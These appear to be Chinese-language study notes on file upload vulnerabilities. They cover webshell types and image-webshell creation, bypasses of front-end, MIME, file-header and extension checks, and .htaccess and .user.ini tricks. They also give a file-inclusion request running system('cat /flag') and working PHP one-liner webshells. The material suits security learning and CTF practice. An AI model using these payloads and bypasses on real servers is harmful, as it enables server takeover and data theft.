目录
注:菜鸡笔记,酌情参考!
原理
在开发时没有对用户上传的文件进行严格的检测,过滤,导致用户可以上传可执行脚本文件(恶意文件),导致可以执行服务端命令
危害
获取服务器的控制权
可以上传相同文件名的文件来覆盖原有文件
容易受到目录遍历的攻击;
拒绝服务 (DoS) 攻击....
webshell(网页木马文件)
最常见的文件上传漏洞的方法是上传网站木马(webshell)文件,WEBSHELL又称网页木马文件,根据开发语言的不同又分为ASP木马、PHP木马、JSP木马等,该类木马利用了脚本语言中的系统命令执行、文件读写等函数的功能,一旦上传到服务器被脚本引擎解析,攻击者就可以实现对服务器的控制。
webshell分为大马,小马(一句话木马)和图片马
大马
功能比较全,但代码量大,相对复杂,不容易隐藏,一般需要加密等手段来进行隐藏
小马
功能简单,代码少,隐蔽性强
图片马
网站只允许上传图片(.png .jpg .gif) ,且无法绕过时,可利用图片马
制作图片马:cmd中输入命令:copy 图片.jpg/b+木马.php/a 图片.jpg
目录
前端验证(客户端javascript验证)
主要检测文件后缀,大致分为:
-
黑名单:不允许上传的文件
-
白名单:允许上传的文件
-
前端对上传文件有限制时是可以直接修改代码
eg: lay-data="{url: 'upload.php', accept: 'images',exts:'png'} 改为:lay-data="{url: 'upload.php', accept: 'file'}
前端验证绕过
-
在浏览器设置中关闭Javascript
-
bp抓包修改(比如先上传1.jpg文件,再抓包后改为1.php
后端验证(服务端验证)
服务端MIME类型验证(文件内容类型检测)
MIME类型是描述消息内容类型的因特网标准
主要为Content-Type:
当对文件内容有限制时,可以将Content-Type:application/octet-stream等改为:
Content-Type:image/jpeg
Content-Type:image/png
Content-Type:image/gif
服务端文件内容验证-文件头
后端会检测上传文件的内容
图片格式检查文件内容是通过检查文件开头的一段二进制,不同的图片类型,文件头是不同的。
绕过方法:
一,在文件前添加文件幻术头,对图片类容进行欺骗
常见文件幻术头:GIF89a
-
JPG: FF D8 FF EO 00 10 4A 46 49 46.
-
GIF:47 49 46 3839 61(GIF89a).
-
PNG:89 50 4E 47
二,利用服务器将木马文件解析成了图片文件,因此向其发送执行该文件的请求时,服务器只会返回这个“图片”文件,并不会执行相应命令。
因此利用文件包含漏洞,可以将图片格式的文件当作PHP文件来解析执行
.php?filename=uploads/1.jpg&pass=system('cat /flag')
服务端文件扩展名验证
.php?filename=uploads/1.jpg&pass=system('cat /flag')
后端对文件的扩展名进行了过滤后,所上传的文件后缀进行筛选
绕过方法:
-
后缀名大小写
-
同义后缀名替换
php: php、 phtml、php3、php4、php5 jsp: jap、jspx、jspf asp: asa、cer、aspx ext: exee
-
双写绕过:php -> phphpp
常用
.htaccess
参考:原文链接:深究用户利用.htaccess的原理篡改配置导致的安全问题_合天网安学院-CSDN博客
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的''AllowOverride''指令来设置。这里简明扼要的说一下,.htaccess说白了就是apache服务器中的一个配置文件;只不过它负责的是相关目录之下的网页配置;
htaccess文件作用:
-
网页301重定向
-
自定义404错误页面
-
改变文件拓展名
-
禁止目录列表等等
因此可以利用写入.htacess文件内容:
<FilesMatch "s1mple"> //使名为s1mple的文件当作php格式解析
Sethandler application/x-httpd-php
</Filesmatch >
或者:
AddType application/x-httpd-php .jpg //将jpg文件当作php格式解析
.user.ini
参考:文件上传之.htaccess和.user.ini_m0_46587008的博客-CSDN博客
.user.ini.它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。
.user.ini文件作用: 可以改变用户读取文件和包含文件的权限等,它的使用范围更广,但是条件多了一个(比较重要的)对应目录下有可执行文件。接下来我们看如何构造这两种配置文件。
auto_prepend_file=a.jpg //在木马前传入 auto_append_file=a.jpg //在木马后传入
常见一句话写法
<?php @eval($_POST["pass"]);?>
<script language='php'>assert($_REQUEST['pass'])</script>
<script language="php">eval($_POST['pass'])</script>
<scriptlanguage="php">eval($_REQUEST['pass'])</script>